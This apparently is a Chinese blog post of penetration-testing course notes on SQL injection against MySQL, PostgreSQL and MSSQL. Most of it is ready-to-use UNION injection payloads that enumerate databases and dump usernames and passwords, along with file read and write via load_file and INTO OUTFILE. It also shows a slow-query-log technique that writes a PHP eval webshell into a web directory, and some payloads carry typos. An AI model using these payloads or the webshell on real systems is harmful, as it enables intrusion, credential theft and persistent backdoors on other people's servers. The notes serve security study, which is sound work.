小迪25-web通用

以下关于注入读文件写shell的内容
设涉及到的数据库
1 SQL 注入 -MYSQL 数据库
2 SQL 注入 -MSSQL 数据库
3 SQL 注入 -PostgreSQL 数据库
其中
Access 无高权限注入点 - 只能猜解,还是暴力猜解-虽然他有最高权限用户Admin,但不具备执行命令的权限,也没有对应的函数支撑;
具有执行高权限命令的数据库和用户有
MYSQL(root) ,PostgreSQL(superuser ), MSSQL(sa)
 MYSQL高权限读写注入

前提条件:注入是root权限且secure_file_priv=''

----------------------------------------------------------------------------------

 -读取文件:

UNION SELECT
1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
--

 load_file()进一步读取配置文件或敏感数据列举

MYSQL注入中load_file()函数的进一步应用_mysql load file-CSDN博客

----------------------------------------------------------------------------
- 写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
写文件就涉及到绝对路径的获取,可以通过 phpinfo, 报错 , 字典等来获取
------------------------------------------------------------------------------------
小点

ps:读取某些文件之后还是需要右键源代码中查看,php代码会被解析从而不显示

ps:在写文件的时候木马内容可以进行编码从而起到一定的绕过,或者返回有问题时候也可使用;需要注意的是如果使用编码就不加单引号,不使用编码的时候就要使用单引号包裹,如下图

不编码文件内容写法

编码文件内容写法

ps:该参数置空就表示只允许在c盘中操作,那如果想进行其他盘符的读写就会收到限制,如下图所示

x

读文件为null

写文件报错

那么此时就需要使用secure_file_priv=''突破,如果注入点支持SQL执行环境,类似堆叠注入,那就可以直接使用下列命令执行突破,不支持就需要借助phpmyadmin或者直接连上对方数据库进行绕过;

set global slow_query_log=1;
set global slow_query_log_file='shell 路径 ';
select '<?php eval($_GET[A])?>' or SLEEP(1);
原理就是借助日志记录的一个方式,执行的命令都会保存到一个文件里,于是我们就是把这个文件指定到web可以访问的地方去,再通过执行一个一句话的语句让其进行记录到该文件中,最后该文件变为shell后门去连接即可;
PostgreSQL高权限读写注入 
#PostgreSQL- 高权限读写注入
------------------
- 测列数:
order by 4
and 1=2 union select null,null,null,null
------------
- 测显位:第 2 3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
--------------------------------
- 获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null
----------------------------------
- 获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
--------------------
- 获取表名:
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2 and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
---------------
- 获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from reg_users
---------------------------
- 获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(passowrd,','),null from information_schema.columns where table_name='reg_users'
-------------------------
与mysql手工注入有一点点区别,表名不是存放在information_schema_tables中,其他的大差不差,函数名称稍微有点差别
----------------------------
小点
使用命令判断是否为dba用户
and 1=2 union select null,string_agg(username,','),null,null FROM pg_user WHERE usesuper IS TRUE
返回管理员用户名称
查询当前用户名称,一致的话就代表是管理员用户
and 1=2 UNION SELECT null,current_user,null,null
如果是dba的话就可以尝试读文件写shell,具体文章如下
MSSQL高权限读写注入 
测试列数
order by 4
and 1=2 union all select null,null,null,null
----------------------
测试显示位
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,2,null
-----------------------
获取信息
@@version 获取版本信息
db_name()获取数据库名字
suer、system_user、current_user、user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
---------------------
获取当前数据库名称
and 1=2 union all select null,db_name(),null,null
----------------------
获取表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name no in ('manage')),null,null      #得到除了数据manage之外的
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name no in ('manage','announcement')),null,null #得到除了数据manage,announcement之外的,获取其他数据库同理
---------------------
获取列名 
and 1=2 union all select null,(select top 1 col_name(boject_id('manage'),1),null,null
and 1=2 union all select null,(select top 1 col_name(boject_id('manage'),2),null,null
and 1=2 union all select null,(select top 1 col_name(boject_id('manage'),3),null,null
----------------------
获取数据
and 1=2 union all select null,username,password,null from manage
高权限读文件写shell参考文章
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值